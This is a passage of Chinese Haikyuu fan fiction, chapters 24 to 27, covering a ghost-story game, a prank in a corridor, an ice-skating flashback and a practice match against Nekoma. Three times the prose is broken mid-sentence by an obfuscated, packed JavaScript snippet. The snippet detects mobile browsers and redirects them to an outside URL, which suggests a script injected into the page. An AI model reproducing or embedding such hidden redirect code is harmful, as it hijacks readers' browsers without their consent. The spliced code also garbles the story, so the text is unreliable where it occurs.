第二个抽取关键词的是日向，他抽到的关键词是酒吧。 “到底是谁把酒吧设置成鬼故事的关键词啊！” 日向无力地吐槽着。 三分钟的倒计时结束了，日向完全想不到跟酒吧有关的鬼故事。 严格的心音裁判吹灭了他手中的蜡烛。 日向，out。 第三个抽关键词的是山口，他的手气很好，抽到的是最好发挥的医院主题。 医院一向是恐怖故事的热门场地。 日向碎碎念着：“我的手气真的太不好了。” 手气好的山口攥着手中的纸条搜刮着自己脑海里的恐怖故事。 良久，山口都没有发言。 而是像陷入了自己的世界里，双手抱住自己的脑袋。 一旁的月岛淡淡地解说着：“山口他，自己脑补了太多恐怖故事，现在害怕地要吐了。” 他拿过心音用来装蜡烛和纸片的袋子，递给了山口。 山口立马接过袋子，低下头。 心音露出半月眼，原来就算拿到最轻松的关键词，也能因为过度害怕而自己率先吓倒自己。 山口同学开辟了全新的失败赛道。 总之，山口同学，out。 心音裁判吹灭了他放在桌上的蜡烛。 第四位抽取的是月岛，总算能听到今天的第一个恐怖故事了，心音这样想着。 “哈。”月岛看向自己手中的纸条，他的关键词是【校舍】 他泰然自若地推了推自己架在鼻梁上的眼镜，已经酝酿好了一个崭新的恐怖故事。 “故事发生在十几年前的校舍。” 月岛淡定的声音出奇地适合做宣讲员或者是电台的主持人。 跟随他的声音，大家好像被带进十几年前的那处校舍。 故事的主人公是十几年前的乌野学生。 他是一个爱打排球的男生，刚听完大家讲的合宿的灵异故事。 他对其中的一个故事很感兴趣。 莫名有一种套娃的感觉，心音出戏地想着。 这个故事是在午夜三点钟点燃蜡烛，对着镜子削苹果，就会有人来敲你的房门。 如果你从未说谎，它会给你送上真挚的祝福然后离开；如果你说谎了，它就会带你步入黄泉。 ——用相当残忍的手段。 排球笨蛋一点都不信邪，他还很有冒险精神，他非但没有被这个故事吓到，还买好了蜡烛和苹果放在自己的兜里。 半夜两点五十分，他按掉订好的闹钟，从自己的床上爬起。 他记得自己好像做了一个梦，不过记忆转瞬即逝。 寝室里有一个梳妆台。 ——“为什么男生寝室里有梳妆台？” 仁花抱紧了自己。 月岛萤笑了笑，没有回答她的问题。 梳妆台上有一个镜子，上面放置好了蜡烛，蜡烛早就已经燃烧了起来，蜡滴滴落在梳妆台上，凝结成蜡烛支架的模样。 这位男生盯着梳妆台反射的，挂在墙壁上的钟。 指针指向三点钟的方向。 他开始削苹果，说实话，他削皮的技术不算好，但是今天很流畅地削完了整颗苹果，果皮也没有断开。 蜡烛的烟雾笼罩着镜子，有些灰蒙蒙的。 就在这个时候，校舍的门开始晃动。 明明是铁皮的门，却发出木头碰撞时嘎吱嘎吱的声音。 牢固的铁门就像行将就木了一般，摇摇欲坠。 他偷偷看向门缝。 门缝很狭小，外面的路灯也熄灭了，黑漆漆的一片，大概什么都看不到。 他把自己的脸趴在门上，一只眼睛眺望着门缝外。 就在这时候，他看到摇曳的烛火。 烛火很微弱，不停地闪烁着。 烛火渐渐靠近，在烛火后面，还有着明黄色的东西也在摇曳。 他一动不动地趴在门上，试图分辨那究竟是何物。 最后他终于看清了。 那明黄色的东西，是人的眼珠。 那人也趴在门前，从门缝中与他对视，还在朝他笑呢。 日向捂住自己的眼睛，他总觉得月岛的声音离他越来越近。 最后，他的手上也搭上了冰凉的手指。 那根手指扒开他捂住眼睛的手。 在摇曳的烛火下，他看见的是月岛萤的眼睛——同样是金黄色的。 日向的魂都被吓飞了，留在原地的是日向的躯体。 月岛回到自己的位置上，继续讲着故事。 那个男生在看见这样可怕的眼睛后，赶忙跑回镜子边。 他吹灭镜子前的蜡烛。 却发现上一秒刚吹灭的蜡烛一下子又复燃了。 他低下头，一次又一次地吹灭。 蜡烛一次又一次地复燃。 就在这时，他听见镜子里传来女子的笑声。 他低着的脑袋被一双手缠绕着。 那个声音问道 “你撒过谎吗，好孩子。” 日向和山口纷纷举起手：“女鬼大人，虽然我撒过谎，但是我还是好孩子。” 他们俨然即将把自己从小到大撒过的谎通通忏悔一遍了。 最后还是月岛阻止了颤抖着忏悔的山口。 “只是假的故事而已。” 心音看着默不作声的影山，她有些分辨不出他的状态是属于惊吓后的灵魂出窍，还是完全没有吓到的不动如山。 她伸出手指，戳了戳影山飞雄。 影山宛若纸片人一样软趴趴地向后倒去。 早有预料的心音一把拉住影山，避免了影山后脑勺受灾。 “诶？怎么只剩一张纸条了。” 仁花指着圆桌上孤零零的一张纸条。 “大概是月岛讲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13130092|138197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故事的时候被风吹走了吧。” “那就我来讲最后一个故事吧。” 心音翻开纸条，上面的字有些长。 【合宿时通往排球馆的走廊】 “哈、哈、哈” 日向笑着给自己壮胆。 “简直就像是要吓唬可能半夜去打排球的人。” “boke月岛，是不是你在恶作剧。” 月岛抿起嘴：“我写的纸条是酒吧。” 日向的视线在大家之间打转，但是他发现大家都困惑地彼此打量着。 就像这张纸条不是他们之间任何一个人写的一样。 日向又一次摇摇欲坠了。 心音就着摇曳的烛火说着最后一个故事。 这次故事的主人公性别不明。 “他”是留宿在这件旅店的客人。 “哦对，大地学长还跟我说过这间旅店发生过的事件，大概可以当做这个故事的补充背景资料了。” 大地学长分享的故事颇为狗血，是一位四处留情沾花惹草的少爷，同时骗了两名异国花季少女。 无依无靠的异国少女们流浪到这座旅馆，被老板收留。 虽然寿终正寝，但她们还是怨恨着欺骗她们的这个男人。 然后故事就开始了。 这名旅客行走在这条走廊上，有两名花季少女与他搭讪。 她们跟他讲起之前少爷欺骗女孩的故事。 这位旅客不以为然地笑了笑：“怎么会有这么好骗的女人，如果是我的话当然也会骗骗她们然后丢在这。” 第二天，这名旅客被发现吊在了走廊的横梁上，死因经过警察判断是自杀。 …… 几位男生都保持着寂静。 “那两个女孩都很可怜，两个男的都很讨厌。……但是把人吊在横梁上，感觉超过了他应该承受的过错。” “嗯嗯。”心音点点头，“小朋友们都不要模仿。” 月岛萤摆手说着：“看来还是我赢了，比起恐怖事件，那个故事更像是一个社会事件吧。” 心音夸张地叹气：“好吧，那明天我就把奖品给月岛同学。” 月岛拉起还在害怕的山口：“奖品什么的无所谓。” “看到影山和日向被我的故事吓到就够了。” 被吓到的二人组敢怒不敢言。 心音也伸了伸懒腰，拿起桌上的蜡烛：“有点困了，我和仁花去洗个澡准备睡觉了。” 她看向影山和日向。 “你们也要乖乖待在宿舍，早点睡觉哦。” / “boke影山。”日向拽着影山的袖子，“都听了鬼故事了，你怎么还敢晚上去打排球。” “哈！你不会把那些故事当真了吧。” “我才没有。”日向嘴硬地说着，“但是去排球馆要经过穿过小院的走廊。” “……那太远了。” “那我自己去。” 日向最终还是克服自己的恐惧，他缩在影山的身后。 将近十一点，走廊更加寂静。 只有稀疏的叶子晃动声，以及鸟扑腾着翅膀划过天空的声音。 “……我怎么觉得……前面有两个人啊。” 日向的声音发颤。 随着他们走近，模糊的两道人影变得清晰了。 是两个少女的背影。 一个是金黄色及腰长发，另一个则是栗色的。 她们幽幽转过身。 头发的另一面，还是茂密的头发。 日向吓得将要昏厥，他用最后的力气拔腿就跑，还不忘叫愣在原地的影山也快跑。 他跑得只剩下残影。 金黄色及腰长发的少女就像是僵尸，蹦蹦跳跳地追赶着他。 栗色长发的女孩幽幽地飘到影山面前：“让我猜猜……你是好男孩，还是坏男孩。”， 穿过自己茂密的头发，看不清M状头发的少年的表情。 她只能猜测他是被她吓得愣在了原地。 “桀桀桀，待在原地的傻孩子是要被我带回家的。” “桀桀桀桀桀……” 不会是被吓傻了吧，一点反应都没有。 女鬼觉得有些无聊。 谁知下一秒，大胆的M头脑袋把她葱郁的头发扒开。 “心音。” “诶？！”影山居然没有被吓到，不对，刚刚影山好像叫的是她的名字。 心音丧气地拔掉自己碍事的假发。 “影山你怎么认出我的。” 她提起自己纯白的长裙，露出高高的木屐。为了不被认出，她整整铺垫了一个晚上，还换上了增高的鞋子。 结果居然被轻易地识破了。 “靠感觉。” 影山的表情不像作假，但是感觉什么的简直太作弊了。 “好吧。” ??? 作战大失败。 早知道自己一蹦一跳地去追被吓到的日向了。 站在木屐上，走起路来也是晃悠悠的。 心音一晃一晃地走在前面，不过好像不是通往宿舍的方向。 “我要把影山带去卖掉。” 她转过身，做了个鬼脸。 最令她丧气的就是今天的影山完全像一块木头，不仅没有被她吓到，在看见她做鬼脸的时候，还莫名地笑了笑。 虽然影山笑得弧度一点都不大，但是心音还是敏锐地捕捉到了。 …… 这样就像在看着她胡闹一样。 影山，好奇怪。 她转过身，不理跟在自己后面的影山。 “心音为什么和谷地同学一起，…埋伏我和日向。” 又是心音，今天的影山是不是被日向的心音洗脑了。 “那是大地学长给我的任务，他麻烦我和仁花看守到十一点半，本来我们都打算收工了。” “结果就撞上了你们两个排球脑袋。” 影山明白了在怪谈游戏结束后，心音重复的那几句叮嘱背后的含义。 他们止步在葱郁的灌木丛前。 心音拨开灌木丛：“我要把你埋在这里。” 灌木丛的后面，点点星光闪烁其间。 是一群萤火虫。 心音站定了，转过身，笑着看向他：“刚刚那些生气的话都是骗人的。” “影山能认出我，这就说明，影山和我——是超默契的双人组哦。” 她压低了音量，像是怕惊动空中的星光。 “这是旅馆老板告诉我们的秘密景观，怎么样。” 她的眼睛比萤火还亮。 “……很漂亮。” 心音和影山蹲在草丛间，仰着两颗脑袋，共赏着这特殊的星光。 25.chapter 25 眼前的淡粉色T恤看起来和寻常的T恤没有什么区别，以至于心音在衣柜里随手扒拉几件衣服的时候，顺手把它装进了行李箱。 然而它并不是一件一般的衣服，而是某战斗游戏中主角的好友所穿的同款衣服。 它最抓眼的部分在于胸口部分一小块红色晕染开的花纹。 ——那是好友为了拯救【你】所扮演的角色，替你挡了致命的一枪。 光是盯着这件衣服，心音心中就浮现了那天彻夜打游戏，被刀得哭得眼睛都肿了的场景。 由于没有再贩过，这件周边的市价已经不知道被炒到什么水平了。 心音一边换上这件衣服，一边暗自决定等到闲下来的时候，一定要再刷一次那款游戏。 今天的分工是由仁花负责照看训练的排球部众人，心音和清水学姐去接待音驹的排球队员们。 “心音了解音驹吗。” “稍微了解一点，他们的教练和我们之前的老教练有很深的渊源。不过我们两个队伍也在同一时期水平下滑了。” 清水学姐看向远方：“音驹现在已经慢慢回归了强校的行列，总觉得心音会喜欢他们的风格。” 心音一下敲响了警钟，她站直身，坚定地回复着：“才没有那回事，我的心永远属于乌野。” 清水学姐被她认真的样子逗得笑出了眼泪。 让心音有些在意的是【音驹】这个名字，听起来总有一种熟悉的感觉。 同是东京的强校，可能是木兔哪天嚷嚷着自己的对手这种话被她听去了，所以才会产生这种熟悉感吧。 远处，一行身穿鲜艳的火红色运动服的人下了车，正成群结队地走来。 最惹人注目的是一个鸡冠头脑袋。 …… 不会就是自己想的那个人吧，心音眯起了眼睛想要辨认。 她有些轻度近视，但是因为戴眼镜总有种头晕目眩的感觉，所以迟迟没有去配。 “哟，心音。” 鸡冠头脑袋远远地朝她挥挥手，这下不用再眯着眼睛辨认了。 已确认是名为黑尾铁朗的家伙。 如果说光太郎是她疲惫寒假的开始，那么黑尾就是将她的寒假彻底地带上疲惫之路的助推剂。 “心音～心音～”光太郎在她的门外用不成调的旋律唱着心音的名字。 心音缓缓拉开门，静静地注视着像面条一样摇摆一边哼着歌的木兔。 他刷一下掏出花花绿绿的宣传海报，上面写着[我们爱滑冰]冰嬉馆开业大吉。 …… 好朴素又扼要的名字。 “光太郎什么时候学会滑冰的。” 心音从来没有听他说过。 按照木兔的性格，只要学会了一项新的技能，就会在相亲相爱一家人的群里“hey hey hey”地大肆宣扬着。 而他的饲养员们就会上演花式夸夸法，并掏出一个又一个红包。 “我？”木兔露出豆豆眼，指了指自己，“我不会滑冰啊。” 他叉腰：“但是你不用担心，我找了一个会滑冰的好哥们。” …… 木兔的好哥们。 心音的脑海里浮现出赤苇学长的形象，虽然自己的猫头鹰表哥不靠谱，但是他的身边总能聚集一群靠谱之人（包括心音自己）。 心音放下心来：“好吧。” ———好闪耀的发型。 这是心音对黑尾的第一印象。 为人也相当有礼，先是非常绅士地鞠躬，然后敲了敲打算直接拽着她上冰的木兔的脑袋。 “学滑冰要循序渐进啊木兔，你妹妹都被吓一跳了。” 太成熟温柔的哥哥形象！心音在心里赞叹着。 木兔一下捕捉到了心音的目光，他露出了蛋花眼：“心音心里是不是不愿意承认我这个哥哥了，难道你想把你的哥哥换成黑尾吗。” 他伤感着自顾自碎碎念：“黑尾也是有妹妹的人，你抢走了他的哥哥，他妹妹也要伤心的……” 眼见再不阻止木兔，他就要大肆发散自己的思维了，心音捧读：“哪有那种事情，在我的心里你是最好的哥哥，啊！” 完成了这一套连招后，光太郎的眼睛又变得炯炯有神。 “hey hey hey！” 一旁的黑尾朝心音比了个大拇指，她谦逊地朝黑尾点点头。 这不过是简单的养兔小技巧罢了。 黑尾学长教滑冰的时候也格外靠谱，不同于心音遇到的所有运动派单细胞直觉党，他的教导格外地亲民与人性化。 他会将复杂连贯的动作细细分解，就像把知识点捏碎一个个喂到你面前一样。 ——超级好懂。 心音已经顺利地可以在冰面上犹如老奶奶一样蹒跚行走了。 不仅如此，他还善于因材施教。 对于木兔这种体验派，他选择让他自己大胆去摔几下。 不过运动天赋有时就是触类旁通的，光太郎在冰面上畅快地摔了几跤后，他被打通了任督二脉。 “怎么样，怎么样。” 他在蹒跚前进的老奶奶心音旁边愉快地转着圈。 …… 如果是别人，心音一定会把这种行为归类为挑衅。 但谁让那是光太郎呢。 一看到那双充满希冀的单纯的眼睛，就让人知道他只是在等待着[夸夸]。 老太太心音站在原地，她熟练地说着：“光太郎学的太快了吧。” 呲溜一声，得到认可的木兔精力充沛地绕着冰面飞速地滑了好几圈。 呼，眼前没有旋转木兔的心音按照自己的节奏稍微加速。 这种循序渐进的探索更加适合她。 所幸她的平衡性不算差，经过这样的锻炼，她慢慢地跟上了冰面上正常人的速度。 溜达了好几圈的木兔与黑尾回到了她的身旁。 木兔打量着她，心里浮现一个计划。 “心音！你想飞吗！” ？？？ 很遗憾，此时的心音完全没有跟上木兔的脑回路，她误以为这句询问只是单纯的字面意。 她点点头，回忆起自己小时候在玩具店买了个模型翅膀装在自己身上，假装自己是会飞的花仙子。 ——想必没有小孩小时候不想拥有一双会飞的翅膀吧。 得到肯定答案的木兔浑身都燃起了熊熊烈焰。他比划着心音的身高，看向自己身旁的黑尾。 “黑尾——你知道的吧。”他的表情很严肃，都不像平时的木兔，“让心音起飞的办法。” 黑尾摸着下巴：“知道是知道，不过……” “hey hey hey,你是不是没有把握能成功。”木兔得意地笑着，“毕竟不是所有人都和我一样有这种实力。” “哈？！你在说什么。我当然可以。” 心音疑惑地站在旁边看着较劲的二人，什么叫做让她起飞的办法？ 这种办法不是应该率先告诉她吗。 木兔和黑尾对视一眼：“我们已经做好准备了。” 心音不敢动了。 因为她被木兔和黑尾两人架了起来。 在这个时候，她才略微听懂了什么叫做让她起飞的办法。 “闭上眼睛感受就好了。”左边的黑尾这样说着。 “哈！这么刺激的事情当然要睁开眼看的清清楚楚。”右边的木兔反驳。 由于身高差，她就这样轻松离地了。 黑尾和木兔颇有默契，连滑冰的速度都格外一致。 心音睁着眼睛，失去灵魂和色彩的她感受着自己腾空起飞的状态。 她看到一个小孩瞪大了眼睛指着她：“爸爸，我也想飞。” 他的爸爸有些无奈：“诶但是爸爸的力气完全不够啊。” 甚至有人举起了手机进行拍摄。 心音睁着的眼睛彻底闭上了，她选择掩耳盗铃。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149689|138197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>环滑冰馆一圈后，心音被稳稳当当地放下了。 “hey，还是我力气大，黑尾你早就没有力气了吧。” “明明是木兔你没有力气了吧。” 心音已经恢复了往日的平静，平静到甚至有些可怕的境界。 她静静地朝着两个人微笑。 几乎同时，木兔的头发与黑尾的竖起，这是他们的危险感应。 他们齐刷刷地后退了好几步。 “后退干嘛。”心音笑眯眯的，“我又不能让你们两个起飞。” …… 那天的事情还没有结束，在围观群众里，有着一名体育记者。 她原本是在休假，然而她还是不忘自己的本职工作。 “可以采访。”心音幽幽地说着，“不过请给我打码。” 木兔和黑尾提出他们无需打码。 第二天，木兔一家齐齐围坐在体育频道前。 美智子奶奶一头雾水地听着记者的话。 “就在昨天，我们在滑冰场看到了这样的一幕——一位女孩居然会飞，这究竟是怎么一回事呢，让我们来看看现场视频。” 美智子在那个视频里看见了光太郎，以及被码的严严实实的心音。 “这太危险了。”美智子奶奶皱起眉头。 “是啊，光太郎，下次不许带心音玩这么危险的游戏。” 木兔阿姨悄悄挪到光太郎的身边：“下次带妈妈飞一下。” 心音把这一切听得清清楚楚。 接下来的画面切到了对木兔和黑尾的采访，他们在少量的采访中夹杂着大量的对自己学校排球部的宣传。 木兔拿起手机，拨打着电话：“看到了吗，看到了吗赤苇。” “我宣传了我们排球部哦。” 听到靠谱温柔的赤苇学长的姓名，心音竖起了耳朵。 赤苇学长叫木兔把电话递给心音。 “辛苦了。” 即使是隔着远远的距离，赤苇学长的声音听起来还是这样让人动容。 “赤苇学长也是，还有排球部的大家。” 木兔听着心音和赤苇说着他听不懂的暗语。 /结束了这段复杂的回忆，心音再度看向看似成熟的黑尾学长。 就算现在看起来这么靠谱，她也看穿了他与木兔是同样的男高的事实。 “心音又长高了。” “是呢。”心音笑眯眯着，让黑尾看得一颤，“飞起来也更有难度了。” 不妙啊。 黑尾俯身与低着头玩着手机的研磨小声说着：“研磨，你帮我对付一下这位心音经理，我去和另一位经理说话。” 小黑居然被吓跑了。 意识到这一点，研磨抬起头看向身前的人。 完全不像什么难以相处的角色，就算是自己这样话少的人，感觉她也能找到很多话题。 不过看起来也不像是会主动交友的人。 他的视线偏移到心音的衣服。 “啊。”是自己一直想要收集的那件游戏周边，但是由于不会再贩，第一批买的老玩家也是死忠粉，所以一直没有收集到。 没想到在这里见到了，还被大大咧咧地穿在身上。 焦糖布丁脑袋的视线落在自己身上太久了。 心音当然不会认为他是对自己感兴趣。 唯一的可能性就是自己身上的衣服。 不过这款游戏也太古早了，只有游戏重度沉迷者们才对它有所耳闻。 心音试探性地张口哼着主题曲：“就算子弹穿透我的心脏～” 几乎是下意识的举动，研磨唱出了下一句：“灵魂里依旧燃烧胜利的渴望～” …… 原本友好交谈着的众人都变得静谧了，他们被莫名开始哼歌的两位所震撼。 而且主动合唱的是一向不爱交流的研磨。 顶着众人的目光，心音和研磨伸出了手。 ——是超稀有的同好。 26.chapter 26 虽然心音与研磨的对话可以称得上是“热火朝天”，但大部分的对话是由她主导着进行的。 研磨更多地是充当倾听者和回应者的角色，只有在极少数的时候会主动地询问一些问题。 研磨沉默的时候，有几率是在神游，大多数情况下是在仔细地思考问题。 ...研磨讲话的时候，会侧开眼不与别人对视...以及 自小武老师肯定她的“记录”后，心音经常不由自主地拿出本子记录不同类型人的行为特征，乌野的众人早已见怪不怪。 她注意到研磨的视线落在自己的笔记本上。 “抱歉。” 心音回过神，自己还没有提前向研磨解释她的行为，并不是所有的人都像乌野的大家一样那么袒露，注重隐私和讨厌被观察的人也是存在的。 她扣上自己的笔。 不能忘记应有的礼貌和社交距离。 被乌野宠坏版心音告诫自己。 “我不是很在意这些。”研磨跟在她的身后，视线停滞在手机上，“...是游戏攻略吗” “游戏攻略？” 心音品味着这与众不同的称呼。 其实这本笔记已经被乌野的大家冠以各种名号。 小武老师称呼它为【观察笔记】，西谷前辈称它为【学长的高光时刻集锦】。 田中学长在翻阅第一页时，满脸灰败地认为这是他【难以抹去的黑历史】，不过在翻阅第二页，感情专栏时，他的脸渐渐变红，然后一脸肃然地凝视着心音。 “可以把这些文字给洁子看吗，拜托了，这很重要。” 即使田中前辈一边拽着她的衣角一边嚷嚷着“如果我能写出这种话洁子早就和我在一起了”，心音仍然不为所动。 “这是不行的，田中前辈。你要用自己的力量打动清水学姐。” 田中前辈仰起头，动容的蛋花眼挂在脸上。 “栗原学妹，你也觉得我一定能做到的是吗。” ...我完全没有说过这种话。 然而她无法对满怀希望的田中前辈说出一句丧气话。 她憋红了脸，吐出一句“加油”。 振奋的田中前辈松开了她的衣角，挽起袖子，坚定地攥起拳头。 “有需要我帮忙的地方吗，洁子！！！” 可能是因为自己也很喜欢打游戏，不知不觉记录的格式也与游戏攻略有些相似。 但这是一份与游戏攻略全然不同的存在。 游戏攻略可以让人通过既定的路线达成设定好的结局，而现实中的大家的成长虽然受原本性格的影响，但并非一成不变的。 一次偶然不起眼的相遇，或许会在下一个人生路口带来意想不到的变化。 一个不经意的选择，回过头才发现改变了自己一生的轨迹。 但这样的复杂性和多变性，也是现实区别于游戏的根本所在。 “比游戏攻略更有趣哦。” 研磨侧目看向她，虽然目光停留在手上的笔记本，但她就像是透过厚厚的纸板，回忆珍重的事物。 他收回视线，黑色的屏幕上反射着他眼眸的色彩。 “...是吗。” / “清水学姐！心音！” 远远的，橘子脑袋蹦得比身边乌泱泱的大个子都高，像是生怕她们找不到他们的方位。 “诶，研磨，原来你是音驹的吗。” 橘子脑袋和焦糖布丁脑袋越凑越近。 “咻”心音伸出手在影山的眼前晃了晃，不知在想什么的影山落在了队伍的最后。 心音思索着：“日向好像那种解锁任务的探险者，影山天天跟他在一起，知道他什么时候认识研磨的吗。” “...不知道。” 其实比起日向，他觉得心音在这方面更厉害一点。 闷声不响地认识了音驹的二传和队长，甚至已经很熟练地称呼对方为“研磨”。 ...... 她的“第二个”最好的朋友还只能被称作“影山”。 自从他上次给美羽姐打电话探讨【喜欢】的问题，结果不了了之后，鲜少主动给他打电话的美羽拨打电话的频率大幅提高，由一月一次转变为一周两次。 而且她格外想要了解影山的交友情况。 在得知他直呼自己的朋友为“栗原”时，美羽震耳欲聋的惊呼声穿透了电话。 “对于关系好的朋友，要叫名字啊笨蛋！” 于是接下来的一周，睡前的举球时间被他更改成一边举球一边默默在心里演练着【如何称呼关系好的朋友】 和他第一次见到心音的好友申请的感觉一样，kokoro简直是世界上最拗口的名字。 ...不然怎么会演练那么多遍都无法熟练地说出口。 直到那天晚上，日向被黄头发蹦跶着的“鬼”吓得拔腿就跑。 凭心而论，心音的扮相算得上精湛，通过木屐改变了身高，还找来了夸张的假发把自己包裹得严严实实的。 但他依然一眼认出了她的身影。 拨开她头发的那一刻，心中的猜想得到了印证。 似乎是为了让自己的扮相更接近传闻中的“女鬼”，她还把自己的脸涂得惨白。 与那双写满疑惑的眼睛对视，他的心情也莫名轻松起来，过去觉得拗口与难言的名字头一次被顺利地叫出。 然而，栗原心音似乎完全没有注意到称呼的变化。 对她自己所说的“第二个”最好的朋友，依旧“影山影山”地叫着。 在他把现状转述给美羽听后，电话另一头的美羽像是被呛到一样大声地咳嗽起来，在平复了之后，她的声音有些颤抖，似乎是电话的讯号不大稳定。 “循序渐进嘛...” “我说影山，我是不是让你不开心了。”心音仔细地观察着他，不想遗漏他脸上的任何一个表情，“憋着不说会破坏我们的感情的。” 他确实要被闷坏了。 “心音，你是怎么称呼你那个打排球的女生朋友的。” “飞鸟啊。” 心音茫然地回应着。 “......” 心音和影山大眼瞪小眼。 影山撇过头：“你说过我们是好朋友吧。” 心音点点脑袋。 影山不说话了，递给心音一个“你自己体悟”的表情。 心音恍然大悟，但是影山会因为这种事情不开心吗。 她运用了换位思考，推理想象等技能，最后得出结论。 ——他会。 心音和影山都陷入了各自的思考，没有发现前方几双竖起来的耳朵。 心音悄悄挪近，她看了一眼前方看起来专注地在走路的众人，她的声音不算大，不过也足够清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她偷偷转身，用冰凉的双手给自己发热的脸颊降温，小心翼翼地拍打了两下，让自己从恍惚的状态间抽离。 很好，没有被仁花发现。 她镇静地转回。 影山，好奇怪。 莫名地很在意“称呼”，至于那天听到的“心音”大概也是他演练已久的。 ——而且居然还那么直白地说出来了，当着大家的面。 ...还好没有别人听见。 我也，好奇怪。 心音捏了捏自己刚退温的耳垂，它现在已经进入了一种一思考就发热的状态。 说到底，对话的开始，是她让影山直接地说出不开心的原因。 称呼好朋友的名字也不算什么特殊的事情。 她将一切归结于自己更习惯“影山”这一称呼。 想通的心音决定先对自己进行脱敏。 她深吸一口气，在心中反复默念着“飞雄...” 很遗憾，在默念第三遍的时候，心音的大脑彻底宕机。 ——影山的名字，绝对被人施了魔咒吧。 27.chapter 27 假如用游戏的视角打开这场比赛。 那么乌野的属性栏大概是满点的【进攻】 而音驹的属性则是满点的【防守】 最锋利的矛与最牢固的盾相撞，会导致什么样的结果。 然而音驹的满点属性不止是防守，他们在团队合作这一栏也远超乌野。 乌野当前的战术是运用“只有影山和日向”能达成的配合为主攻手撕开一道口子。 这样浑然天成的怪物快攻确实会让所有第一次见到的人大跌眼镜，部分队伍甚至会因为这种“下马威”扰乱自己的战略部署。 然而音驹有研磨。 研磨的话，大概会被这样的挑战与变数挑起斗志，然后为他们量身订做通关攻略。 ......光是这样想象，就有一种在漆黑的夜里被猫的瞳孔盯着的感觉。 不过心音也明白，赛场上的影响因素很多。 单靠纸面实力并不能判定比赛的胜负。 一个简单的激励，或许就是队伍的强心剂。 由于从前对排球可谓一窍不通，因此在被飞鸟拽去现场看排球比赛的时候，她总会不务正业地关注一些赛场之外的事物。 比如总是准确传递队伍风格与理念的队旗。 以及排球运动员们围成一圈呼喊着的口号。 所以飞鸟戏称她为【口号百科全书】 百科全书有些在意音驹的口号会是什么样的。 就像是满足她的好奇心。 “我们是血液，一刻不停地流淌，输送氧气，使大脑能够正常运转。” “小黑...”研磨侧过脑袋轻声地说着什么，而他身旁黑尾的口型大概是笑着说着什么拒绝的话。 “我们的口号如何呢。” 愣着的心音被突然的声音吓了一跳。 是音驹的眯眯眼教练爷爷。 小武老师在球网的另一边挥手，仁花不自然地勾着手指。 显然，她和仁花站错了位置，目前她们正深入敌营。 她有些不好意思：“感觉很符合音驹。” “大脑，指的是研磨吗。” 眯眯眼的教练爷爷笑着点点头。 “我这老头子一个人看比赛也蛮无聊的。”他看向仁花，“麻烦你和你们教练说一下，这个孩子留在我这里一会。” 心音站在原地注视着仁花松懈下来，轻快地渐行渐远的背影。 音驹的眯眯眼爷爷在骗人，心音望着杵在另一侧默不作声的那位老师。 他分明不是一个人在看比赛。 破空的排球声把心音的思绪拉回球场。 那是影山和日向的怪人快攻。 眯眯眼爷爷的淡定总算出现的裂缝，他有些震惊的睁开了双眼。 哼哼，这就是我们乌野的怪人快攻。 不过眯眯眼爷爷身经百战，很快就恢复了往日的微笑。如果不是一直偷摸摸地盯着他看，心音大概也会以为他此时的心境毫无波澜。 “不用着急。”他像是读懂了心音的内心，“研磨他，会找到解决的方法的。” 赛场上，焦糖布丁脑袋的瞳孔微张。 虽然嘴上运筹帷幄，猫又教练还是叫了暂停。 缩在角落的心音头一次从其他队伍的视角听到针对乌野的分析。 她默默地举起手：“我是不是需要回避一下。” 猫又教练笑着摇摇头，黑尾露出一个酝酿着坏主意的笑容。 察觉到这点的心音又后退了半步。 在猫又教练夸赞影山精湛的控球技术时，心音与荣共焉地不断点着脑袋。 在听到研磨的【日向攻略】雏形时，即使很想否认，但研磨对日向的判断大多数是准确的。 比如日向总是跑到没有拦网的一侧。 这是因为影山高超的控球技术，可以将球传到任何方位，而日向就可以在没有人拦网的情况下扣下球。 心音对这一规律的捕捉来源于对自家队伍的熟悉，但研磨仅仅是依靠场上的交锋就能做出这种判断。 ——不愧是音驹的大脑。 心音为即将被音驹的七号死死盯防的日向捏一把汗。 不过，有时候惯性的思维方式总会有所局限。 “就像玩游戏一样，只要不断熟悉，总会有通关的一天。” 现在赛场上的日向或许会被不断熟悉他的对手追上他的步伐，但心音并不认为这就是【通关秘诀】。 对于贪婪地汲取一切养分的乌鸦，或许并不存在一劳永逸的【通关秘诀】 因为他们会不断地寻找崭新的生活的动力，以及飞向天空的方法。 比赛的哨声重新吹响。 “你刚刚的表情好像在说——我们队才没有这么容易被攻克呢。” “有吗。”心音揉了揉自己的鼻尖。 猫又教练把目光投向在赛场上奔跑穿行的少年们。 完全的相信，是一个强队必要然而又稀缺的品质。 “或许，你可以试试去当教练助理，或者数据分析师之类的。” 意想中的赞同或者拒绝的反应都没有出现，猫又教练看向身边的女孩。 她仿佛被雷击中一样，指了指自己。猫又教练头一回看到她这样生动直白的表情。 就像在说“我吗，你真的没有看错吗。” 她奋力地摇摇头，每个细胞都在表达着拒绝。 